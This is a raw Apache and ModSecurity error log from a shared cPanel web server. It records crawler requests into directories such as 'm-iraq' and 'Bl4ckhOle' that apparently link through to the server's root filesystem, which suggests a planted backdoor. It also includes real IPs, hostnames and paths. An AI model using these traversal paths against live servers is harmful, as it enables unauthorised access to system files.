[Fri Jul 17 08:07:21.500963 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVYRAi3pC6yjXGNq15UwAAAAU"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:07:21.501011 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVYRAi3pC6yjXGNq15UwAAAAU"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:07:21.706652 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/mice/subsystem/input1/device/subsystem/uevent
[Fri Jul 17 08:07:22.109788 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:53502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:22.171392 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:22.870234 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:53548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:22.998199 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse1/device/capabilities/ev"] [unique_id "almVYkMCK1PbyQ2qe6D-EgAAABQ"]
[Fri Jul 17 08:07:22.998235 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse1/device/capabilities/ev"] [unique_id "almVYkMCK1PbyQ2qe6D-EgAAABQ"]
[Fri Jul 17 08:07:23.031424 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:23.032450 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu0/node0/subsystem/"] [unique_id "almVYxAi3pC6yjXGNq15VgAAAAU"]
[Fri Jul 17 08:07:23.032473 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu0/node0/subsystem/"] [unique_id "almVYxAi3pC6yjXGNq15VgAAAAU"]
[Fri Jul 17 08:07:23.225388 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:53574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:23.598749 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almVY7yEqmgiTSUa55oDzwAAABA"]
[Fri Jul 17 08:07:23.599100 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almVY7yEqmgiTSUa55oDzwAAABA"]
[Fri Jul 17 08:07:23.696453 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almVY7yEqmgiTSUa55oDzwAAABA"]
[Fri Jul 17 08:07:23.721300 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:24.023230 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:24.475078 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:25.000526 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:25.473436 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:25.650455 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVZQG5-NXx3Mem1QgKKQAAAA8"], referer: http://www.anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:07:25.650509 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVZQG5-NXx3Mem1QgKKQAAAA8"], referer: http://www.anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:07:25.746230 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:26.019150 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:26.204643 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:26.297000 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.003389 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.149190 2026] [security2:error] [pid 1999089:tid 1999089] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-global": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almVZUMCK1PbyQ2qe6D-GgAAABQ"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:07:27.149239 2026] [security2:error] [pid 1999089:tid 1999089] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-ip": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almVZUMCK1PbyQ2qe6D-GgAAABQ"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:07:27.406355 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.709724 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.793897 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.842158 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.862731 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:27.902258 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 47.82.53.198:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-opt-cpanel-ea\\x2dphp81-root-usr-bin.mount/memory.force_empty
[Fri Jul 17 08:07:28.031257 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:28.410095 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:28.505676 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:29.045130 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/tty62/uevent"] [unique_id "almVaaUJv0yl2bIgVrkJUwAAABU"]
[Fri Jul 17 08:07:29.045163 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/tty62/uevent"] [unique_id "almVaaUJv0yl2bIgVrkJUwAAABU"]
[Fri Jul 17 08:07:29.415636 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:54140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:29.636183 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:29.668237 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:29.863748 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.077944 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 47.82.53.157:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:40/subsystem/ttyS3/device/subsystem/uevent
[Fri Jul 17 08:07:30.138991 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.229501 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.301528 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.82.51.132:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/189:1/ep_00/power/runtime_suspended_time"] [unique_id "almVakhq6UAnqYko0LpS8QAAABE"]
[Fri Jul 17 08:07:30.301594 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.82.51.132:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/189:1/ep_00/power/runtime_suspended_time"] [unique_id "almVakhq6UAnqYko0LpS8QAAABE"]
[Fri Jul 17 08:07:30.321099 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.354677 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.740164 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:30.777975 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:31.007817 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:31.143203 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input0/device/subsystem/devices/PNP0C0F:02/hid"] [unique_id "almVa2idQp3SsqeycPEoxwAAAAo"]
[Fri Jul 17 08:07:31.143252 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input0/device/subsystem/devices/PNP0C0F:02/hid"] [unique_id "almVa2idQp3SsqeycPEoxwAAAAo"]
[Fri Jul 17 08:07:31.160606 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:32.320283 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:32.332551 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:32.516268 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:32.878710 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:32.898466 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:40854] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:32.979185 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:33.125305 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:33.215356 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:33.245991 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:35/subsystem/tty27/subsystem/"] [unique_id "almVbUMCK1PbyQ2qe6D-JAAAABQ"]
[Fri Jul 17 08:07:33.246033 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:35/subsystem/tty27/subsystem/"] [unique_id "almVbUMCK1PbyQ2qe6D-JAAAABQ"]
[Fri Jul 17 08:07:33.698604 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:33.991061 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:34.184730 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:34.198476 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:34.224782 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:34.243574 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:34.288203 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:35.129074 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:35.135641 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:35.342830 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/mouse0/subsystem/event2/subsystem/input6/uevent"] [unique_id "almVb-nUgtv5ujFYWh_rxAAAAA0"]
[Fri Jul 17 08:07:35.342901 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/mouse0/subsystem/event2/subsystem/input6/uevent"] [unique_id "almVb-nUgtv5ujFYWh_rxAAAAA0"]
[Fri Jul 17 08:07:35.441139 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:35.462651 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:35.706174 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:41040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:36.340274 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:36.411993 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:37.161736 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.253247 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.342802 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.524625 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.526130 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.635628 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.778904 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:41178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:37.800124 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:37.819991 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:38.072294 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:38.254400 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:38.398384 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:41184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:39.073911 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:39.163870 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:40.258325 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:40.896167 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:40.905430 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/sqlite/usr/share/"] [unique_id "almVdHjA8yK8B7kryx3dZQAAAAk"]
[Fri Jul 17 08:07:40.905456 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/sqlite/usr/share/"] [unique_id "almVdHjA8yK8B7kryx3dZQAAAAk"]
[Fri Jul 17 08:07:41.076529 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:41.351831 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:41.639314 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:42.261555 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:42.355181 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:42.540548 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:43.083079 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:43.460796 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:43.580184 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:43.811254 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:43.811726 2026] [core:crit] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/usr/lib64/mysql/plugin/auth_pam_tool_dir/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/usr/lib64/mysql/plugin/auth_pam_tool_dir/' is executable
[Fri Jul 17 08:07:44.085373 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:44.303956 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.92:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory44/node0/memory33/node0/memory89/"] [unique_id "almVeLyEqmgiTSUa55oD8AAAABA"]
[Fri Jul 17 08:07:44.304116 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.92:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory44/node0/memory33/node0/memory89/"] [unique_id "almVeLyEqmgiTSUa55oD8AAAABA"]
[Fri Jul 17 08:07:45.079250 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/memory53/node0/memory18/node0/memory129/"] [unique_id "almVeQ5GPQ6hs4VrfMo55QAAAAY"]
[Fri Jul 17 08:07:45.079299 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/memory53/node0/memory18/node0/memory129/"] [unique_id "almVeQ5GPQ6hs4VrfMo55QAAAAY"]
[Fri Jul 17 08:07:45.270971 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.361594 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.451558 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.633983 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.725162 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.816106 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:45.998746 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:46.088345 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:46.273307 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:46.376086 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:46.467369 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:46.741171 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:47.197757 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:47.288182 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:48.108675 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:48.218706 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:33788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:48.381557 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:48.471643 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:48.835999 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:49.019949 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
